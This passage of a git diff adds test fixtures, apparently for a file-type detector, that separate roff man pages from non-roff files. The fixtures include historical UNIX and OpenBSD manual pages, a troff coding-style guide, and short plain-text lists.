+.ti -6
+F  error in local ("F_" or "b") type symbol
+.ti -6
+G  G_arbage (unknown) character
+.ti -6
+I  End of file inside an If__
+.ti -6
+M  M_ultiply defined symbol as label
+.ti -6
+O  O_dd-- word quantity assembled at odd address
+.ti -6
+P  P_hase error-- "." different in pass 1 and 2
+.ti -6
+R  R_elocation error
+.ti -6
+U  U_ndefined symbol
+.ti -6
+X  syntaX_ error
+.in -6
+.sp
+.ti 0
+BUGS		Symbol table overflow is not checked.
diff --git a/test/fixtures/Generic/1/nil/ellipses.1 b/test/fixtures/Generic/1/nil/ellipses.1
new file mode 100644
index 0000000000..f1fbb69261
--- /dev/null
+++ b/test/fixtures/Generic/1/nil/ellipses.1
@@ -0,0 +1 @@
+... not Roff
diff --git a/test/fixtures/Generic/2/Roff Manpage/sched_yield.2 b/test/fixtures/Generic/2/Roff Manpage/sched_yield.2
new file mode 100644
index 0000000000..ca7c6df71a
--- /dev/null
+++ b/test/fixtures/Generic/2/Roff Manpage/sched_yield.2	
@@ -0,0 +1,49 @@
+.\"	$OpenBSD: sched_yield.2,v 1.1 2014/11/14 00:24:28 guenther Exp $
+.\"
+.\" Copyright (c) 2014 Philip Guenther <guenther@openbsd.org>
+.\"
+.\" Permission to use, copy, modify, and distribute this software for any
+.\" purpose with or without fee is hereby granted, provided that the above
+.\" copyright notice and this permission notice appear in all copies.
+.\"
+.\" THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+.\" WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+.\" MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+.\" ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+.\" WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+.\" ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+.\" OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+.\"
+.Dd $Mdocdate: November 14 2014 $
+.Dt SCHED_YIELD 2
+.Os
+.Sh NAME
+.Nm sched_yield
+.Nd yield the processor
+.Sh SYNOPSIS
+.In sched.h
+.Ft int
+.Fn sched_yield void
+.Sh DESCRIPTION
+The
+.Fn sched_yield
+function makes the current thread yield the processor and be put at
+the end of its run queue without altering its priority.
+.Sh RETURN VALUES
+.Rv -std
+.Sh STANDARDS
+The
+.Fn sched_yield
+function conforms to
+.St -p1003.1-2008 .
+.Sh HISTORY
+The
+.Fn sched_yield
+system call appeared in
+.Ox 4.2 .
+.Sh CAVEATS
+The effect of
+.Fn sched_yield
+is only precisely defined for real-time scheduling classes,
+none of which are currently supported by
+.Ox .
diff --git a/test/fixtures/Generic/2/Roff/fstat.2 b/test/fixtures/Generic/2/Roff/fstat.2
new file mode 100644
index 0000000000..871425a9e3
--- /dev/null
+++ b/test/fixtures/Generic/2/Roff/fstat.2
@@ -0,0 +1,31 @@
+.th FSTAT II 8/5/73
+.sh NAME
+fstat  \*-  get status of open file
+.s3
+.sh SYNOPSIS
+(fstat = 28.)
+.br
+(file descriptor in r0)
+.ft B
+.br
+sys fstat; buf
+.s3
+fstat(fildes, buf)
+.br
+struct inode buf;
+.ft R
+.sh DESCRIPTION
+This
+call is identical to
+.it stat,
+except that it operates
+on open files instead of files given by name.
+It is most often used to get the status
+of the standard input and output files, whose names
+are unknown.
+.sh "SEE ALSO"
+stat(II)
+.sh DIAGNOSTICS
+The error bit
+(c-bit) is set if the file descriptor is unknown;
+from C, a \*-1 return indicates an error, 0 indicates success.
diff --git a/test/fixtures/Generic/2/nil/foo.2 b/test/fixtures/Generic/2/nil/foo.2
new file mode 100644
index 0000000000..87b31c55d9
--- /dev/null
+++ b/test/fixtures/Generic/2/nil/foo.2
@@ -0,0 +1,6 @@
+Foo
+
+	.TH "Still ignored"
+
+Bar
+
diff --git a/test/fixtures/Generic/3/Roff Manpage/wcsftime.3 b/test/fixtures/Generic/3/Roff Manpage/wcsftime.3
new file mode 100644
index 0000000000..2c5ce8c8ca
--- /dev/null
+++ b/test/fixtures/Generic/3/Roff Manpage/wcsftime.3	
@@ -0,0 +1,32 @@
+.\"	$OpenBSD: wcsftime.3,v 1.3 2013/06/05 03:39:23 tedu Exp $
+.\" Copyright (c) 2011 Marc Espie <espie@openbsd.org>
+.\"
+.\" Permission to use, copy, modify, and distribute this software for any
+.\" purpose with or without fee is hereby granted, provided that the above
+.\" copyright notice and this permission notice appear in all copies.
+.\"
+.\" THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+.\" WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+.\" MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+.\" ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+.\" WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+.\" ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+.\" OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+.\"
+.Dd $Mdocdate: June 5 2013 $
+.Dt WCSFTIME 3
+.Os
+.Sh NAME
+.Nm wcsftime
+.Nd format date and time to wide characters string
+.Sh SYNOPSIS
+.In wchar.h
+.Ft size_t
+.Fn wcsftime "wchar_t *buf" "size_t maxsize" "const wchar_t *format" "const struct tm *timeptr"
+.Sh DESCRIPTION
+The
+.Fn wcsftime
+is a wide char equivalent of
+.Xr strftime 3 .
+.Sh SEE ALSO
+.Xr strftime 3
diff --git a/test/fixtures/Generic/3/Roff/pow.3 b/test/fixtures/Generic/3/Roff/pow.3
new file mode 100644
index 0000000000..2018c1e8bb
--- /dev/null
+++ b/test/fixtures/Generic/3/Roff/pow.3
@@ -0,0 +1,43 @@
+.tr |
+.th POW III 4/30/73
+.sh NAME
+pow \*- floating exponentiation
+.sh SYNOPSIS
+.ft B
+movf	x,fr0
+.br
+movf	y,fr1
+.br
+jsr	pc,pow
+.s3
+.nf
+double pow(x,y)
+double x, y;
+.fi
+.s3
+.ft R
+.sh DESCRIPTION
+.it Pow
+returns
+the value of
+\fIx\u\s8y\s10\d\fR
+(in fr0).
+.it "Pow(0,|y)"
+is 0 for any
+.it y.
+.it "Pow(\*-x,|y)"
+returns a result only if
+.it y
+is an integer.
+.sh "SEE ALSO"
+exp(III), log(III)
+.sh DIAGNOSTICS
+The
+carry bit is set on return in case of overflow,
+.it pow(0,|0),
+or
+.it pow(\*-x,|y)
+for non-integral
+.it y.
+From C there is no diagnostic.
+.sh BUGS
diff --git a/test/fixtures/Generic/3/nil/wise-men.3 b/test/fixtures/Generic/3/nil/wise-men.3
new file mode 100644
index 0000000000..c3ddfc438d
--- /dev/null
+++ b/test/fixtures/Generic/3/nil/wise-men.3
@@ -0,0 +1,3 @@
+Balthasar
+Melchior
+Gaspar
diff --git a/test/fixtures/Generic/4/Roff Manpage/vio.4 b/test/fixtures/Generic/4/Roff Manpage/vio.4
new file mode 100644
index 0000000000..dbc013ceb3
--- /dev/null
+++ b/test/fixtures/Generic/4/Roff Manpage/vio.4	
@@ -0,0 +1,61 @@
+.\"     $OpenBSD: vio.4,v 1.15 2015/09/24 13:11:48 sobrado Exp $
+.\"
+.\" Copyright (c) 2012 Stefan Fritsch <sf@sfritsch.de>
+.\"
+.\" Permission to use, copy, modify, and distribute this software for any
+.\" purpose with or without fee is hereby granted, provided that the above
+.\" copyright notice and this permission notice appear in all copies.
+.\"
+.\" THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+.\" WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+.\" MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+.\" ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+.\" WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+.\" ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+.\" OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+.\"
+.Dd $Mdocdate: September 24 2015 $
+.Dt VIO 4
+.Os
+.Sh NAME
+.Nm vio
+.Nd VirtIO network device
+.Sh SYNOPSIS
+.Cd "vio* at virtio? flags 0x00"
+.Sh DESCRIPTION
+The
+.Nm
+driver provides support for the
+.Xr virtio 4
+network interface provided by bhyve, KVM, QEMU, and VirtualBox.
+.Pp
+Setting the bit 0x2 in the flags disables the RingEventIndex feature.
+This can be tried as a workaround for possible bugs in host implementations of
+.Nm
+at the cost of slightly reduced performance.
+.Pp
+Setting the bit 0x100 in the flags forces the interface to be always in
+promiscuous mode.
+This can be used as a workaround for a bug in QEMU before version 1.7.2 that
+prevents packets with a VLAN tag from being sent to the guest.
+.Sh SEE ALSO
+.Xr intro 4 ,
+.Xr virtio 4
+.Sh HISTORY
+The
+.Nm
+driver first appeared in
+.Ox 5.3 .
+.Sh AUTHORS
+.An -nosplit
+The
+.Nm
+driver was ported to
+.Ox
+and improved by
+.An Stefan Fritsch Aq Mt sf@sfritsch.de .
+It is based on the
+.Nx
+.Nm vioif
+driver by
+.An Minoura Makoto .
diff --git a/test/fixtures/Generic/4/Roff/cat.4 b/test/fixtures/Generic/4/Roff/cat.4
new file mode 100644
index 0000000000..464fb68c8e
--- /dev/null
+++ b/test/fixtures/Generic/4/Roff/cat.4
@@ -0,0 +1,20 @@
+.th CAT IV 10/27/73
+.sh NAME
+cat \*- phototypesetter interface
+.sh DESCRIPTION
+.it Cat
+provides the interface to a Graphic Systems C/A/T
+phototypesetter.
+Bytes written on the file specify font, size, and other control
+information as well as the characters to be flashed.
+The coding will not be described here.
+.s3
+Only one process may have
+this file open at a time.
+It is write-only.
+.sh FILES
+/dev/cat
+.sh "SEE ALSO"
+troff (I),
+Graphic Systems specification (available on request)
+.sh BUGS
diff --git a/test/fixtures/Generic/4/Roff/sample.4 b/test/fixtures/Generic/4/Roff/sample.4
new file mode 100644
index 0000000000..571cba22c2
--- /dev/null
+++ b/test/fixtures/Generic/4/Roff/sample.4
@@ -0,0 +1,13 @@
+.TH FOO 1
+.Sh NAME
+foo \- bar
+.Sh SYNOPSIS
+.B foo
+.I bar
+.Sh DESCRIPTION
+Foo bar
+.BR baz
+quux.
+.PP
+.B Foo
+bar baz.
diff --git a/test/fixtures/Generic/4/nil/fantastic.4 b/test/fixtures/Generic/4/nil/fantastic.4
new file mode 100644
index 0000000000..608e678976
--- /dev/null
+++ b/test/fixtures/Generic/4/nil/fantastic.4
@@ -0,0 +1,4 @@
+Reed Richards
+Susan Storm
+Johnny Storm
+Ben Grimm
diff --git a/test/fixtures/Generic/5/Roff Manpage/wsconsctl.conf.5 b/test/fixtures/Generic/5/Roff Manpage/wsconsctl.conf.5
new file mode 100644
index 0000000000..7ae7fc7f85
--- /dev/null
+++ b/test/fixtures/Generic/5/Roff Manpage/wsconsctl.conf.5	
@@ -0,0 +1,73 @@
+.\" $OpenBSD: wsconsctl.conf.5,v 1.5 2007/05/31 19:19:58 jmc Exp $
+.\"
+.\" Copyright (c) 2001 Brian J. Kifiak <bk@rt.fm>
+.\" All rights reserved.
+.\"
+.\" Based on sysctl.conf.5 found in OpenBSD 2.3+:
+.\" Copyright (c) 1998 Todd C. Miller <Todd.Miller@courtesan.com>
+.\" All rights reserved.
+.\"
+.\" Redistribution and use in source and binary forms, with or without
+.\" modification, are permitted provided that the following conditions
+.\" are met:
+.\" 1. Redistributions of source code must retain the above copyright
+.\"    notice, this list of conditions and the following disclaimer.
+.\" 2. Redistributions in binary form must reproduce the above copyright
+.\"    notice, this list of conditions and the following disclaimer in the
+.\"    documentation and/or other materials provided with the distribution.
+.\" 3. The name of the author may not be used to endorse or promote products
+.\"    derived from this software without specific prior written permission.
+.\"
+.\" THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
+.\" INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+.\" AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL
+.\" THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+.\" EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+.\" PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+.\" OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+.\" WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+.\" OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+.\" ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+.\"
+.Dd $Mdocdate: May 31 2007 $
+.Dt WSCONSCTL.CONF 5
+.Os
+.Sh NAME
+.Nm wsconsctl.conf
+.Nd wsconsctl variables to set at system startup
+.Sh DESCRIPTION
+.Nm
+contains a list of
+.Xr wsconsctl 8
+variable assignments that is read at system startup by
+.Xr rc 8
+during the boot sequence.
+.Pp
+The file is made up of
+.Xr wsconsctl 8
+variable assignments
+.Pq Ar variable Ns = Ns Ar value
+with comments designated by a hash mark
+.Pq Sq # .
+.Sh FILES
+.Bl -tag -width /etc/wsconsctl.conf -compact
+.It Pa /etc/wsconsctl.conf
+.El
+.Sh EXAMPLES
+To load a Russian keyboard encoding, one would use the following line:
+.Bd -literal -offset indent
+keyboard.encoding=ru
+.Ed
+.Pp
+To set the screen burner timeout to 60 seconds, the following can be used:
+.Bd -literal -offset indent
+display.screen_off=60000
+.Ed
+.Sh SEE ALSO
+.Xr rc 8 ,
+.Xr wsconsctl 8
+.Sh HISTORY
+A
+.Nm
+file first appeared in
+.Ox 3.0 .
diff --git a/test/fixtures/Generic/5/Roff/core.5 b/test/fixtures/Generic/5/Roff/core.5
new file mode 100644
index 0000000000..35573cfa66
--- /dev/null
+++ b/test/fixtures/Generic/5/Roff/core.5
@@ -0,0 +1,39 @@
+.th CORE V 9/10/73
+.sh NAME
+core \*- format of core image file
+.sh DESCRIPTION
+UNIX
+writes out a core image of a terminated
+process when any of various errors occur.
+See
+.it "signal (II)"
+for the list of reasons;
+the most common are memory violations, illegal
+instructions, bus errors, and user-generated
+quit signals.
+The core image is called ``core'' and is written in the process's
+working directory (provided it can be; normal
+access controls apply).
+.s3
+The first 512 bytes of the core image
+are a copy of the system's per-user
+data for the process, including the registers
+as they were at the time of the fault.
+The
+remainder represents the actual contents of
+the user's core area when the core image
+was written.
+At the moment, if the text segment
+is write-protected and shared,
+it is not dumped; otherwise the entire
+address space is dumped.
+.s3
+The actual format of the information in the first 512 bytes is complicated.
+A guru will have to be consulted
+if enlightenment is required.
+In general the debugger
+.it "db (I)"
+should
+be used to deal with core images.
+.sh "SEE ALSO"
+db(I), signal(II)
diff --git a/test/fixtures/Generic/5/nil/fingers.5 b/test/fixtures/Generic/5/nil/fingers.5
new file mode 100644
index 0000000000..1fc0bba26f
--- /dev/null
+++ b/test/fixtures/Generic/5/nil/fingers.5
@@ -0,0 +1,5 @@
+Thumb
+Index finger
+Middle finger
+Ring finger
+Pinkie
diff --git a/test/fixtures/Generic/6/Roff Manpage/wump.6 b/test/fixtures/Generic/6/Roff Manpage/wump.6
new file mode 100644
index 0000000000..da26a10f4c
--- /dev/null
+++ b/test/fixtures/Generic/6/Roff Manpage/wump.6	
@@ -0,0 +1,29 @@
+.TH WUMP 6 
+.SH NAME
+wump \- the game of hunt-the-wumpus
+.SH SYNOPSIS
+.B /usr/games/wump
+.SH DESCRIPTION
+.I Wump
+plays the game of `Hunt the Wumpus.'
+A Wumpus is a creature that lives in a cave with several rooms
+connected by tunnels.
+You wander among the rooms, trying to
+shoot the Wumpus with an arrow, meanwhile avoiding
+being eaten by the Wumpus and falling
+into
+Bottomless Pits.
+There are also Super Bats which are likely to pick you up
+and drop you in some random room.
+.PP
+The program asks various questions which you answer
+one per line;
+it will give a more detailed description
+if you want.
+.PP
+This program is based on one described in
+.I "People's Computer Company,"
+.I 2,
+2 (November 1973).
+.SH BUGS
+It will never replace Space War.
diff --git a/test/fixtures/Generic/6/Roff/moo.6 b/test/fixtures/Generic/6/Roff/moo.6
new file mode 100644
index 0000000000..d49f59a662
--- /dev/null
+++ b/test/fixtures/Generic/6/Roff/moo.6
@@ -0,0 +1,18 @@
+.th MOO VI 11/1/73
+.sh NAME
+moo \*- guessing game
+.sh SYNOPSIS
+.bd /usr/games/moo
+.sh DESCRIPTION
+.it Moo
+is a guessing game imported from England.
+The computer picks a number consisting
+of four distinct decimal digits.
+The player guesses four distinct digits
+being scored on each guess.
+A `cow' is a correct digit in an incorrect position.
+A `bull' is a correct digit in a correct position.
+The game continues until the player guesses the number
+(a score of four bulls).
+.sh BUGS
+Watch out for the random number generator.
diff --git a/test/fixtures/Generic/6/nil/66.6 b/test/fixtures/Generic/6/nil/66.6
new file mode 100644
index 0000000000..43aed6331a
--- /dev/null
+++ b/test/fixtures/Generic/6/nil/66.6
@@ -0,0 +1 @@
+🤘 ⛧⛧ SLAYTANIC ⛧⛧ 🤘
diff --git a/test/fixtures/Generic/7/Roff Manpage/jg-coding-style.7 b/test/fixtures/Generic/7/Roff Manpage/jg-coding-style.7
new file mode 100644
index 0000000000..a1bd9075c4
--- /dev/null
+++ b/test/fixtures/Generic/7/Roff Manpage/jg-coding-style.7	
@@ -0,0 +1,335 @@
+.\"
+.\" This is a copy of README.md, adopted for terminal display.
+.\" I thought the combination of the name and file extension was hilarious.
+.\" More info: https://en.wikipedia.org/wiki/Troff_macro
+.\"
+.\"=== MACROS ==================================================================
+.\" 1. Verbatim text (yoinked from POD source)
+.\"      Usage:   Vb {number-of-lines-of-space-being-requested}
+.\"    Example:   Vb 3
+.de Vb
+.	ft CW
+.	nf
+.	ne \\$1
+..
+.\" 2. End verbatim text
+.de Ve
+.	ft R
+.	fi
+..
+.\"=== SETTINGS ================================================================
+.\"
+.\" Disable justification for nroff
+.	if n .ad l
+.\"
+.\"=== CONTENT =================================================================
+.\"
+.TH ALHADIS 1 "2016-04-13" "Alhadis/Coding-Style" "github.com/Alhadis/Coding-Style"
+.SH PREAMBLE
+You have open before you an unavoidably arrogant avalanche of bikeshedding which serves as an explanation of my personal coding style.
+While I don't envision any of my projects ever becoming a conduit for collaboration (since I prefer working alone),
+I'll at least have something in black\-and\-white to direct anybody to who feels compelled to send a PR on one of my projects.
+.PP
+Let's get this shed painted.
+.
+.
+.
+.SH "1. USE TABS FOR INDENTATION"
+Use \fIhard tabs\fR (U+0009) to indent.
+.PP
+If you prefer spaces for indentation, I'm automatically inclined to dislike you.
+Really, I'm not joking.
+I wish I were, as it'd imply I DON'T get eye strain when I try squinting through cramped columns
+of 2\-space\-indented JavaScript that kids these days seem to think is trendy (and some adults for some reason).
+.PP
+Everybody has their own preference on what they're most comfortable reading.
+Let them enjoy it, use tabs, and \fB use them responsibly.\fR
+.PP
+Which brings me to point 2:
+.
+.
+.
+.SH "2. DON'T USE TABS FOR ALIGNMENT"
+Never assume a tab will be of any particular length, even if your project has an `.editorconfig` file.
+Imagine a tab is an invisible, elastic region of space the coder can fluidly adjust to control their code's layout.
+Which it is.
+.PP
+Use spaces for cosmetic alignment.
+Don't let them touch leading tabulation \- tab characters should \fInever\fR come after a non\-whitespace character
+(unless it's TSV data, but obviously that's a given).
+.PP
+Avoid situations where it's tempting to use tabs as an alignment device:
+.PP
+.Vb 3
+\&        var a = "This is",
+\&            b = "A common pattern",
+\&            c = "in JavaScript";
+.Ve
+.PP
+I find this to be more readable:
+.PP
+.Vb 3
+\&        var a = "This is";
+\&        var b = "Slightly less";
+\&        var c = "Common in JavaScript";
+.Ve
+.PP
+I'm okay with the first notation, as long as it's used like this:
+.PP
+.Vb 3
+\&        var a = "This is",
+\&        b     = "Weird",
+\&        c     = "Right?";
+.Ve
+.PP
+If you're the comma\-first sort of person (which I am \fINOT\fR), you could do this:
+.PP
+.Vb 3
+\&        var a = "I hate"
+\&        ,   b = "This form"
+\&        ,   c = "Of notation."
+.Ve
+.PP
+I think you get it.
+.
+.
+.
+.SH "3. BRACING STYLE"
+I prefer the K&R style,
+with curly\-brackets only appearing on their own lines if the construct they're a part of can't be nested.
+.PP
+For instance, in PHP, you can't have one class inside another, so this is fine:
+.PP
+.Vb 6
+\&        class Store
+\&        {
+\&            function query($args = array()){
+\&
+\&            }
+\&        }
+.Ve
+.PP
+Similarly, if it's a C project, the same logic applies to functions (which can't be nested):
+.PP
+.Vb 7
+\&        int main(int argc)
+\&        {
+\&            while(true){
+\&                printf("Piss off world, I'm working.\n");
+\&                return 1;
+\&            }
+\&        }
+.Ve
+.PP
+I generally prefer no spaces between the closing bracket and the opening bracket (e.g., `function name(){`),
+but I won't bite your head off for inserting a space for readability.
+Unless of course, you're going around making wanton adjustments to existing code.
+If your PR's diffs crackle with noisy, irrelevant and cosmetic changes, it's getting kicked.
+.
+.
+.
+.SH "4. CASING STYLE"
+Depends on language.
+Stick to the style used by a language's standard library:
+.PP
+.IP "*" 4
+camelCase:  JavaScript, Haskell
+.IP "*" 4
+kebab\-case: Anywhere where dashes are legal \- HTML, CSS and filenames
+.IP "*" 4
+snake_case: Anywhere where dashes *aren't* legal (PHP, Perl, most languages)
+.PP
+Capitalisation follows the usual conventions of most programming languages:
+.PP
+.IP "*" 4
+Classes: PascalCase
+.IP "*" 4
+Constants: SCREAMING_SNAKE_CASE
+.IP "*" 4
+Anything else: lowerCase / lower-case / lower_case
+.PP
+\fINOTE\fR: My capitalisation of variable names is sometimes inconsistent when writing shell\-scripts and Makefiles.
+Generally I'll start out writing them in UPPERCASE, then switch to lowercase when there're too many variables making everything look too shouty.
+.
+.
+.
+.SH "5. SEMICOLONS"
+Use them.
+They make unfamiliar code easier to skim through by showing where each statement terminates,
+distinguishing those split across multiple lines:
+.PP
+.Vb 7
+\&    let list = items
+\&        .filter(a => a !== unwanted)
+\&        .sort(a => a < b)
+\&        .join(" ")
+\&        .replace(/[A-Z]zip/g, "")
+\&        .etc();
+.Ve
+.PP
+They're also not optional in every programming language.
+Trying to remember what languages have ASI and which don't is harder than simply hitting that damn extra key.
+.PP
+And if that's too much effort for you, well, I imagine your emails probably look like this:
+.PP
+.Vb 3
+\&    > hey sup. i pushed a few comits last nite.
+\&    > did you remember the question mark
+\&    > what's the url
+.Ve
+.
+.
+.
+.SH "6. DOUBLE\-QUOTES"
+Use double\-quotes, unless it's a language sensitive to interpolation (like shell\-scripts, Perl, or PHP).
+.PP
+An exception is a string containing double-quotes of its own: if using single\-quotes helps eliminate escape characters, use them instead:
+.PP
+.Vb 3
+\&    '"Use This"'
+\&    "\\"Not this\\""
+.Ve
+.PP
+Because there's a difference between enforcing consistency and using your brain.
+It looks like this:
+.PP
+.Vb 3
+\&    "- \\"" + name + "\\": \\"" + value + "\\""
+.Ve
+.PP
+Instead of this:
+.PP
+.Vb 3
+\&    '- "' + name + '": ' + value + '"'
+.Ve
+.PP
+That being said, don't quote keys in object literals if they don't need it:
+.PP
+.Vb 3
+\&    var obj = {
+\&        "This needs it": 1,
+\&        thisDoesNot:     1
+\&    };
+.Ve
+.PP
+.SS Reasoning behind preference:
+Double\-quotes are easier to distinguish at a glance than apostrophes.
+Sure, they involve holding an extra key.
+Who cares?
+Get a better keyboard if pressing shift keys is too cumbersome for you.
+.
+.
+.
+.SH "7. COMMA\-LAST"
+.nf
+Nobody writes like this
+, so neither should you
+, unless you had one really
+, really
+, really
+, really
+, really weird education.
+.PP
+But hey
+, less noise in your diffs
+, right? RIGHT?
+.fi
+.
+.
+.
+.SH "8. WRITING COMMIT MESSAGES"
+This entire damn article:\fI http://chris.beams.io/posts/git-commit/ \fR
+.PP
+Every point is like holy Git law to me.
+.PP
+.SS BE FOREWARNED:
+Not adhering to these points WILL get your PR rejected.
+The reason is simple: a commit message is permanent.
+Yes, it's possible to modify through rebasing, \
+but that defeats the purpose of maintaining an honest and transparent modification history
+(and I'd rather not clobber a SHA hash just to amend the tone of a commit message).
+.
+.
+.
+.SH "9. NO EMOJI"
+GitHub like using cutesy graphics in their commit messages, and NPM do too, it'd seem.
+.PP
+Submit a PR with an emoji \fBanywhere\fR and it'll get rejected \- even if your code is nothing short of brilliant.
+.PP
+Git isn't Twitter. What you're seeing on GitHub is only a decorated rendition of each commit's actual content.
+.
+.
+.
+.SH "10. NO COMMIT PREFIXES"
+This ties in with the points raised in \fB"How to write a commit message"\fR, above.
+Use the imperative tone, leave out the leading `Prefix: Fix something`.
+Assuming you're clear, direct and informative with your subject lines, grepping through a `--oneline` log shouldn't be a hassle.
+.
+.
+.
+.SH "11. LINE LENGTH"
+.IP "*" 4
+Commit subjects:         <= 69 (REQUIRED)
+.IP "*" 4
+Commit bodies:           <= 72 (REQUIRED)
+.IP "*" 4
+Prose or documentation:  <~ 80 (Encouraged, but not mandatory)
+.IP "*" 4
+Anything else/code:      -- -- (Not fussed)
+.PP
+I'm "not fussed" because none of my projects are expected to be worked on within width\-challenged editing environments.
+If a future project is being written with utmost portability in mind (think ISO/Git\-level), line length will be explicitly mentioned in `CONTRIBUTING.md`.
+.PP
+Use your best judgement when determining how long is "too long". Things like big URLs and hairy regular expressions can't always be helped.
+They won't render the rest of the document unreadable if they're folded, either.
+Keeping documentation under a character limit is more a matter of keeping diffs more readable \-
+a typo fix on a 450\-character long line really doesn't make perusing a revision history very fun.
+.PP
+(Anybody reading this the readme's source code should be advised that I DON'T expect a similar level of precision from contributions. That'd be kinda ridiculous).
+.PP
+When keeping lines under a character limit, assume tabs to be 8-characters wide.
+This is the default size assumed by virtually all terminal-like environments:
+if somebody needs stuff kept within the 80-column boundary, you can probably assume they're using a TTY with 8-character tab-stops.
+Even if you're wrong, most users will have tab-sizes set to a smaller size like 4 or 2.
+Multics used 10-character tab-stops, but if that's an issue, please let me know.
+I want to be the first to try your time machine.
+.
+.
+.
+.SH 12. USE TRADITIONAL ENGLISH SPELLING ("BRITISH" ENGLISH)
+Unsurprisingly, many open source projects suffer from an unpredictable mix of US English and traditional English (what the US call "British" English).
+I'm from a Commonwealth nation, and I was taught to use Standard English.
+Therefore, that's what I use when naming my identifiers (e.g., `class RGBColour`).
+I don't care if the language's standard library uses US English - my projects use the spelling I grew up with.
+And because I'm a pedantic prick, I'll enforce consistent language if I choose to.
+You mightn't like it.
+Tough shit.
+.PP
+If writing "colour" bothers you, spare a thought for those of us forced to write "color" because a language was authored that way.
+Then imagine what it'd be like to feel that every day of your life while doing something you enjoy.
+.
+.
+.
+.SH CONCLUSION
+I'm used to working alone \-
+I write code for code's sake, not because I'd expect my projects to become group efforts.
+That doesn't mean I'm an arsehole: in fact, most people would describe me as goofy and eccentric.
+There aren't many things I take seriously, but code is one of them.
+Whether it's one of my own projects, or somebody else's,
+I do what any coder worth their salt is expected to do - honour the styleguide,
+and respect the decisions of the maintainers.
+.PP
+Since I expect others will do the same,
+I've felt a rare moment of motivation to pen something that I've never otherwise put in writing.
+If my projects DO become group efforts one day (or become maintained posthumously),
+maintainers will have something substantial to go by.
+.PP
+Otherwise, I don't expect anybody to think anything more of these self-important ramblings than any other styleguide they read and disagree with.
+Half the reason I wrote this was just an excuse to wrap shit to 80-characters without justifying text.
+Yeah, I love lining things up, who you gonna call?
+.
+.
+.
+.SH BUGS
+Eh, what's up,
+.BR mdoc (7)?
diff --git a/test/fixtures/Generic/7/Roff/greek.7 b/test/fixtures/Generic/7/Roff/greek.7
new file mode 100644
index 0000000000..f91688bbb3
--- /dev/null
+++ b/test/fixtures/Generic/7/Roff/greek.7
@@ -0,0 +1,45 @@
+.th GREEK VII 10/31/72
+.sh NAME
+greek \*- graphics for extended ascii type-box
+.sh SYNOPSIS
+.bd "cat /usr/pub/greek"
+.sh DESCRIPTION
+.it Greek
+gives the mapping
+from ascii
+to the ``shift out'' graphics in effect between SO and SI 
+on model 37 Teletypes
+with a 128-character type-box.
+It contains:
+.s3
+.nf
+.if n .ig
+.ta 1i +.3i +.75i +1i +.3i +.75i +1i  +.3i
+alpha	\(*a	A	beta	\(*b	B	gamma	\(*g	\\
+GAMMA	\(*G	G	delta	\(*D	D	DELTA	\(*D	W
+epsilon	\(*e	S	zeta	\(*z	Q	eta	\(*y	N
+theta	\(*t	T	THETA	\(*T	O	lambda	\(*l	L
+LAMBDA	\(*L	E	mu	\(*m	M	nu	\(*n	@
+xi	\(*c	X	pi	\(*p	J	PI	\(*P	P
+rho	\(*r	K	sigma	\(*s	Y	SIGMA	\(*S	R
+tau	\(*t	I	phi	\(*f	U	PHI	\(*F	F
+psi	\(*q	V	PSI	\(*Q	H	omega	\(*o	C
+OMEGA	\(*W	Z	nabla	\(gr	[	not	\(no	\*_
+partial	\(pd	]	integral	\(is	^
+..
+.if t .ig
+.nf
+alpha	A  A  |  beta	B  B  |  gamma	\\  \\
+GAMMA	G  G  |  delta	D  D  |  DELTA	W  W
+epsilon	S  S  |  zeta	Q  Q  |  eta	N  N
+theta	T  T  |  THETA	O  O  |  lambda	L  L
+LAMBDA	E  E  |  mu	M  M  |  nu	@  @
+xi	X  X  |  pi	J  J  |  PI	P  P
